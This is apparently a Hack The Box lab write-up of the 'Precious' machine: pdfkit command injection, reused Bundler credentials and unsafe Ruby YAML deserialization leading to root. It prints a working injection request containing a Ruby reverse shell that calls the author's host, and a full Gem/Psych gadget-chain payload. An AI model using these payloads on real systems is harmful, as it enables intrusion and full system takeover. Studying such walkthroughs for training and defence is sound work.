HTB: Precious
pdfkit 0.8.6 command injection via the url param, reused bundle creds, then unsafe YAML.load deserialization to root
A Ruby url-to-PDF app used pdfkit 0.8.6, leaking the version in the PDF metadata. CVE-2022-25765 gave command injection through the url param for a shell as henry. Plaintext bundle creds were reused, and a root-run Ruby script doing unsafe YAML.load (CVE-2022-32224) deserialized a gadget chain to root.
the box
Precious is an easy Linux box at 10.10.11.189. The whole chain is dependency-driven: an outdated Ruby gem leaks its own version through PDF metadata, that version maps to a command-injection CVE, plaintext gem credentials sit in a config file, and a root cron-style sudo entry feeds attacker-controlled YAML into an unsafe loader. Two of the three steps are public CVEs, so most of the work was recon and reading the metadata closely enough to spot the version string.
recon
I started with a full TCP port sweep, then a versioned scan on the two open ports.
nmap -p- --min-rate 10000 10.10.11.189
nmap -p 22,80 -sCV 10.10.11.189
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two ports. SSH 8.4p1 on the 5+deb11u1 package put the host on Debian 11 bullseye. Port 80 was nginx 1.18.0, and the title told me the site wanted to redirect to precious.htb, so I added the vhost to my hosts file.
echo '10.10.11.189 precious.htb' | sudo tee -a /etc/hosts
Loading http://precious.htb/ gave a single form with one input: paste a URL and the app converts that page to a PDF. The response headers were the first useful leak.
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Powered-By: Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
X-Powered-By: Phusion Passenger plus X-Runtime: Ruby confirmed a Ruby app behind Passenger 6.0.15. A vhost fuzz turned up nothing new.
ffuf -u http://10.10.11.189 -H "Host: FUZZ.precious.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
Feeding the form a public URL like https://google.com returned cannot load remote url. The converter could only reach hosts it could actually contact, so the target had to be something on my side. I stood up a Python server and pointed the form at it.
python3 -m http.server 80
url=http://10.10.16.36/
The form fetched my page and returned a generated PDF. The interesting part was not the rendered page, it was what the generator stamped into the file. Reading the PDF metadata with exiftool exposed the exact tool and version.
exiftool generated.pdf
Creator : Generated by pdfkit v0.8.6
pdfkit v0.8.6 is the entire foothold. That string maps straight to a known command-injection CVE.
foothold
pdfkit 0.8.6 is vulnerable to CVE-2022-25765. The library builds the wkhtmltopdf command line by concatenating the supplied URL without escaping shell metacharacters, so a URL containing a backtick-wrapped command runs that command on the server. Anything below 0.8.7.2 is affected.
The trick from the public PoCs is that the injection lives inside a query-string parameter and needs a URL-encoded space (%20) in front of the backtick. I tested the primitive first with a benign command before throwing a shell.
http://10.10.16.36/?name=%20`id`
That confirmed execution, so I swapped in a reverse shell. I started a listener, then sent the crafted URL as the url value in a POST to /. The full request, URL-encoded, with a Ruby one-liner spawning sh back to me:
curl 'http://precious.htb' -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'url=http%3A%2F%2F10.10.16.36%3A8484%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.36%22%2C8484%29%29%27%60'
Decoded, the url is http://10.10.16.36:8484/?name=%20 followed by a backtick wrapping:
ruby -rsocket -e 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",8484))'
The listener caught the connection as the web user.
nc -lnvp 8484
$ id
uid=1000(ruby) ...
I upgraded to a proper PTY so I could su and use job control later.
script /dev/null -c bash
# Ctrl-Z
stty raw -echo; fg
reset
user
The app ran as a low-privilege service user. The user flag and the next set of credentials lived under henry, so I went looking for a way across. Ruby’s Bundler stores per-host package credentials in a config file, and that file was sitting in the home directory.
cat ~/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Plaintext henry:Q3c1AqGHtoI0aXAYFH. These are meant to authenticate to a private RubyGems repo, but the password was reused for the system account. su took it directly.
su - henry
# Password: Q3c1AqGHtoI0aXAYFH
henry@precious:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:~$ cat user.txt
The same creds also worked over SSH for a cleaner session.
root
First thing as henry was sudo -l, which showed a single passwordless entry.
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Reading the script showed why this matters. It loads a YAML file from the current working directory with YAML.load.
require "yaml"
require "./lib/database.rb"
def update_gems()
# ...
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
Two problems stack here. First, the path dependencies.yml is relative, so the script reads whatever sits in the directory I launch it from, not a fixed system path. Second, it calls YAML.load, not YAML.safe_load. On this Ruby and Psych version, YAML.load will instantiate arbitrary Ruby objects from the document, which is CVE-2022-32224. Older guidance treated YAML.load as safe; this version is the one where the unsafe default bites.
The exploitation is the classic universal gadget chain for Gem/Psych deserialization. The YAML constructs a chain of partially initialized objects that ends in Gem::RequestSet#resolve calling through a Net::WriteAdapter whose socket is the Kernel module and whose method_id is :system. The git_set value becomes the argument, so it runs as a shell command. I dropped this dependencies.yml into a directory I owned.
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
The git_set value is the injected command. I went with chmod +s /bin/bash to set the SUID bit rather than a reverse shell, since it leaves a reusable root primitive. Then I ran the sudo command from that same directory.
cd /dev/shm
# (dropped dependencies.yml here)
sudo /usr/bin/ruby /opt/update_dependencies.rb
It throws a harmless sh: 1: reading: not found from the half-built objects, but the gadget fires first and the command runs as root. /bin/bash came back SUID-root.
ls -l /bin/bash
# -rwsr-xr-x 1 root root ... /bin/bash
bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root)
bash-5.1# cat /root/root.txt
bash -p keeps the effective UID at 0, and that gave the root flag.
takeaway
The PDF metadata gave away the exact pdfkit version, which mapped one-to-one to CVE-2022-25765 and command injection through the url param. After that it was reused plaintext gem credentials for the user pivot, and a root sudo entry that fed attacker-controlled YAML into YAML.load. The relative path in the script was what made the YAML attacker-controlled at all: drop the file where you run the command, and the deserialization gadget does the rest.